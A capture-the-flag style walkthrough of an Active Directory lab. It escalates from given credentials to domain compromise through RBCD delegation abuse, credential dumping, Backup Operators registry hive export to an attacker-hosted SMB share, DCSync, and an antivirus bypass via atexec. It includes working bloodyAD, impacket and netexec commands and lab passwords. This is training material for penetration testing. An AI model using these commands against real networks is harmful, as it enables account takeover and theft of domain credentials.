HackSmarter NorthBridge Systems Walkthrough

Objective/Scope :

NorthBridge Systems is a managed service provider that has engaged the Hack Smarter Red Team to perform a security assessment against a portion of their environment. The assessment is to be conducted from an assumed breach perspective, as you have been provided credentials for a dedicated service account created specifically for this engagement.

Your point of contact at NorthBridge Systems has authorized testing on the following hosts. Any host outside this scope is considered out of scope and should not be accessed.

NORTHDC01 (Domain controller) NORTHJMP01 (Jump box user by the IT team) The primary objective of the security assessment is to compromise the domain controller (NORTHDC01) in order to demonstrate the effectiveness (or lack thereof) of the recent security hardening activities.

To track your progress in the assessment, there are flags located at C:\Users\Administrator\Desktop on each host.

As you progress through the environment, make sure to document these flags so your point of contact knows you have compromised the environment.

Your success in this assessment will directly inform their future cybersecurity budget! No pressure!

Solution :

Initial Scans :

We first start by scanning the Targets :

Looking at the initial scans , Jump01 machine only has port 445 and RDP that can be useful to us , whereas DC01 , we find Kerberos , LDAP , DNS , all of these confirm that this is the DC and that it is an Active Directory Lab .

Since this is an AD machine , i always like to keep this check list in mind :

Scan All TCP Ports : Check The useful note Down for more info .
Check ldap , rpc , smb with anonymous access . Check for Public Shares .
Find Usernames : Find usernames in Web Site and generate a Username List maybe . if you get access , Look for usernames using netexec , –rid-brute , –users and enumdomuser with RPC client .
Check usernames found with kerbrute .
Search for ASREP Roastable Users .
Once we have valid Creds : Check Kerberoastable users + Spray the password on all users .
Try to authenticate using every protocol .
Enumerate shares with those Users found . Use netexec to download .
Check Certipy for Vulnerable Templates if there is an ADCS in place .
If we get a Shell , try privesc , dump all Hashes using netexec or locally and store into a file .
If we can’t privesc , we can move to Blood Hound .

Now back to our scans , first thing we need to do is add Hostnames as well as the Domain name to our /etc/hosts file , we can use nxc for this one :

Now that everything is setup let’s start enumerating each machine separately , starting with the Jump01 .

We’re already given a set of creds we can use to enumerate the domain :

_securitytestingsvc:4kCc$A@NZvNAdK@

Jump01 :

The user we’re given isn’t admin on the machine , but if we check the shares , we find the Network Shares that we are able to Read, let’s login via smbclient and from there download all the files :

If we check the files , we find this PS file , which is always interesting since scripts often has passwords inside of them .

Nothing here :

Checking the other files didn’t return anything useful either .

Let’s just RDP to the machine since we know our user has the ability to RDP into the Jump box :

Once inside we see a folder called scripts , where we find another folder called AD Backup , i first checked it to see if there were any passwords left in here :

But nothing . We also have another folder we can check called Server Build Automation , maybe it has a password as well since it’s used for automation.

Perfect we find the password for the automation service account .

_svrautomationsvc :  yf0@EoWY4cXqmVv

DC01 :

Moving on to the DC now , first i needed a list of users to Test for ASREPROASTING , from there i will check kerberoasting since we’ve got valid users already , i will check shares and finally if nothing works , we will check BloodHound .

First let’s generate the userlist :

Then check for ASREPROASTING :

Nothing , let’s check for kerberoastable users :

Nothing as well .

Finally the shares available to us are only the default ones, so let’s move to BloodHound :

# To get the ZIP file :
nxc ldap $target -u 'hellyr' -p 'H3lenaR!2025' --bloodhound --collection All --dns-server $target
# To run BloodHound : 
https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd
Visit : http://localhost:8080/ui/login 

Now on Bloodhound , let’s first add both users to Owned Objects and check if any of them has any Outbound Object Control .

We see that svc_automation has Write Account Restriction over the Jump01 computer .

Looking at ways to abuse this Write acccount restrictions we see that we are able to modify the msDS-Allowed-To-Act-On-Behalf-Of-Other-Identity which will allow us to have a Resource-based constrained attack (RBCD) !

If we check for ways to abuse RBCD :

So basically what this means :

RBCD abuse: if an attacker controls write access to a target’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute, they can set it to an account they control (…RBCD abuse: if an attacker controls write access to a target’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute, they can set it to an account they control (often a created machine account), then use S4U2Self/S4U2Proxy from that account to obtain a service ticket impersonating any user on the target, usable via Pass-the-Ticket.

But for the attack to work we first need to create a machine account that we will be using , for this we can use BloodyAD , since each user on the domain has the possibility to add up to 10 machine accounts by default .

We see that we get an error , saying that we exceeded the number of machines we can add .

Looking at the Readme we found earlier :

It also mentions that we are able to create machine accounts inside the ¨Provisionning OU without worrying about exceeding the Quota . Now let’s modify our command to specify which OU to add the machine account to:

bloodyad --host 10.1.109.188 -d northbridge.corp -u _svrautomationsvc -p 'yf0@EoWY4cXqmVv' add computer 'Fake_hh' 'WEAK.123' --ou 'OU=ServerProvisioning,OU=Servers,DC=northbridge,DC=corp'

Perfect now we can proceed with the RBCD attack . This article is the one i will be following :

https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#rbcd-resource-based-constrained

First we modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on JUMP01 so that we make our new machine account able to delegate on the Jump01’s behalf .

rbcd.py -delegate-from 'Fake_hh$' -delegate-to 'NORTHJMP01$' -dc-ip '10.1.109.188' -action 'write' 'northbridge.corp'/'_svrautomationsvc':'yf0@EoWY4cXqmVv'

Now we can request a TGT for any user we want to access the Jump01 machine , if we check Bloodhound :

I first tried impersonating the admin user ERHODESTO who is domain admin , but apparently he is protected against Delegation attacks -_-

We also find this group which is not a default one , and if we look at LDAP findings we see in the description that all members of this Group can add users to the Local Admin group on Jump01 .

So let’s impersonate one of these users :

getST.py -spn "cifs/NORTHJMP01.northbridge.corp" -impersonate GCOOKT1 'northbridge.corp/Fake_hh$:WEAK.123' -dc-ip 10.1.109.188

Nice now that we’ve got the Ticket , we can check if we can authenticate to this machine :

Nevermind , our current user isn’t part of the local admin group on the Jump01 machine , let’s impersonate someone else :

I found out that MEEL is an admin on the machine , let’s use her instead :

getST.py -spn "cifs/NORTHJMP01.northbridge.corp" -impersonate MLEET1  'northbridge.corp/Fake_hh$:WEAK.123' -dc-ip 10.1.109.188
export KRB5CCNAME=MLEET1@cifs_NORTHJMP01.northbridge.corp@NORTHBRIDGE.CORP.ccache
nxc smb NORTHJMP01.northbridge.corp -u MLEET1 -k --use-kcache

Perfect , now that we have a local admin user , we can use it to dump Hashes :

I dumped SAM , LSASS , and finally DPAPI creds , we were able to find the DCC2 hash for the Backup_svc user but by dumping the dpapi creds , we were able to extract the plain text password so no need to crack the DCC2

Let’s verify it using nxc :

We are able to RDP to the Jump01 but we’re not admin so we can’t get the user’s flag , anyways we can try to use MLEET1 to access the Admin share using smbclient .

From there we get the user flag :

Now back to our Backup user if we check Bloodhound :

We see that he is part of the Backup Operator’s group , which means , we can use this to dump the SAM DB on the DC01 machine .

Although we can’t login to the machine , we can use the fact that we’re part of the backup operator’s group to dump SAM Hives remotely and use secretsdump locally to extract the Hashes .

To exploit this :

I will be following this guide from Hacker Reciepe :

==> First we Host the SMB server on our Kali :
smbserver.py -smb2support Shareee .

==> Then we Exfiltrate the HIVES :
reg.py northbridge.corp/_backupsvc:'j0$QyPZ0JWzN2*iu^5'@NORTHDC01 save -keyName 'HKLM\SAM'  -o '\\10.200.65.94\Shareee'
reg.py northbridge.corp/_backupsvc:'j0$QyPZ0JWzN2*iu^5'@NORTHDC01 save -keyName 'HKLM\SYSTEM'  -o '\\10.200.65.94\Shareee'
reg.py northbridge.corp/_backupsvc:'j0$QyPZ0JWzN2*iu^5'@NORTHDC01 save -keyName 'HKLM\SECURITY'  -o '\\10.200.65.94\Shareee'

Once we import all the Hives locally we can use secretsdump to dump the SAM Hashes .

Reg.py didn’t work for me , i couldn’t make it work , so used nxc module -M Backup_Operator :

nxc smb NORTHDC01 -u '_backupsvc' -p 'j0$QyPZ0JWzN2*iu^5' -M backup_operator

Perfect , we have the Hash for the DC01$ which is the machine account , this can be used to perform a DCSYNC and dump the NTDS . The SAM We dumped contained an admin Hash but that is not the Domain Admin’s hash , since that one is stored in the NTDS , SAM only holds local account hashes , luckily for us we were able to dump the machines acc for the DC and perform a DCSync that way :)

Now let’s dump the NTDS :

From here we can validate our creds and login via smbclient to get the flag , since the DC doesn’t have Winrm enabled .

Before that let’s attempt to read it using nxc :

It gets blocked by the AV , we can either use WMIexec2 or use atexec as both will attempt to bypass the AV , let’s use atexec which will create a task that will execute our command :

Perfect we got our Root Flag :)

That was all for this Lab. See you in the Next One :)